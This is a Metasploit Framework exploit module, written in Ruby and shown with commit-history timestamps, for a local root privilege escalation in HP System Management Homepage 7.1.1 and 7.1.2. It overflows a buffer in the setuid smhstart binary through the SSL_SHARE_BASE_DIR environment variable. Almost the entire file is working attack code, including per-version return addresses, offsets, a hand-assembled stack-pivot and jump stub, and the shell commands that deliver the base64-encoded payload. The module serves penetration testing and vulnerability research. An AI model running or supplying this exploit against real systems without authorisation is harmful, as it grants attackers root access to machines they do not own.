metasploit-framework/modules/exploits/linux/local/hp_smhstart.rb

96 lines
2.6 KiB
Ruby
Raw Normal View History

2013-03-31 11:04:34 +00:00
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/exploit/local/linux'
require 'msf/core/exploit/exe'
class Metasploit4 < Msf::Exploit::Local
include Msf::Exploit::EXE
include Msf::Post::File
include Msf::Post::Common
include Msf::Exploit::Local::Linux
def initialize(info={})
super( update_info( info, {
'Name' => 'HP System Management Homepage Local Privilege Escalation',
'Description' => %q{
2013-04-05 09:41:10 +00:00
Versions of HP System Management Homepage <= 7.1.2 include a setuid root
smhstart which is vulnerable to a local buffer overflow in SSL_SHARE_BASE_DIR
env variable.
2013-03-31 11:04:34 +00:00
},
'License' => MSF_LICENSE,
'Author' =>
[
2013-04-05 09:41:10 +00:00
'agix' # @agixid # Vulnerability discovery and Metasploit module
2013-03-31 11:04:34 +00:00
],
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86 ],
'SessionTypes' => [ 'shell' ],
2013-03-31 11:04:34 +00:00
'Payload' =>
{
'Space' => 227,
'BadChars' => "\x00\x22"
},
'References' =>
[
2013-04-06 15:25:12 +00:00
['OSVDB', '91990']
2013-03-31 11:04:34 +00:00
],
'Targets' =>
[
2013-04-05 09:41:10 +00:00
[ 'HP System Management Homepage 7.1.1',
2013-03-31 11:04:34 +00:00
{
'Arch' => ARCH_X86,
2013-04-05 09:41:10 +00:00
'CallEsp' => 0x080c86eb, # call esp
'Offset' => 58
2013-03-31 11:04:34 +00:00
}
],
2013-04-05 09:41:10 +00:00
[ 'HP System Management Homepage 7.1.2',
2013-03-31 11:04:34 +00:00
{
'Arch' => ARCH_X86,
2013-04-05 09:41:10 +00:00
'CallEsp' => 0x080c8b9b, # call esp
'Offset' => 58
2013-03-31 11:04:34 +00:00
}
],
],
'DefaultOptions' =>
{
'PrependSetuid' => true
},
2013-03-31 11:04:34 +00:00
'DefaultTarget' => 0,
'DisclosureDate' => "Mar 30 2013",
}
))
register_options([
OptString.new("smhstartDir", [ true, "smhstart directory", "/opt/hp/hpsmh/sbin/" ])
], self.class)
end
def exploit
pl = payload.encoded
padding = rand_text_alpha(target['Offset'])
ret = [target['CallEsp']].pack('V')
2013-04-03 11:46:56 +00:00
exploit = pl
exploit << ret
exploit << "\x81\xc4\x11\xff\xff\xff" # add esp, 0xffffff11
exploit << "\xe9\x0e\xff\xff\xff" # jmp => begining of pl
exploit << padding
exploit_encoded = Rex::Text.encode_base64(exploit) # to not break the shell base64 is better
id=cmd_exec("id -un")
if id!="hpsmh"
2013-08-15 19:14:46 +00:00
fail_with(Failure::NoAccess, "You are #{id}, you must be hpsmh to exploit this")
2013-04-03 11:46:56 +00:00
end
cmd_exec("export SSL_SHARE_BASE_DIR=$(echo -n '#{exploit_encoded}' | base64 -d)")
cmd_exec("#{datastore['smhstartDir']}/smhstart")
2013-03-31 11:04:34 +00:00
end
end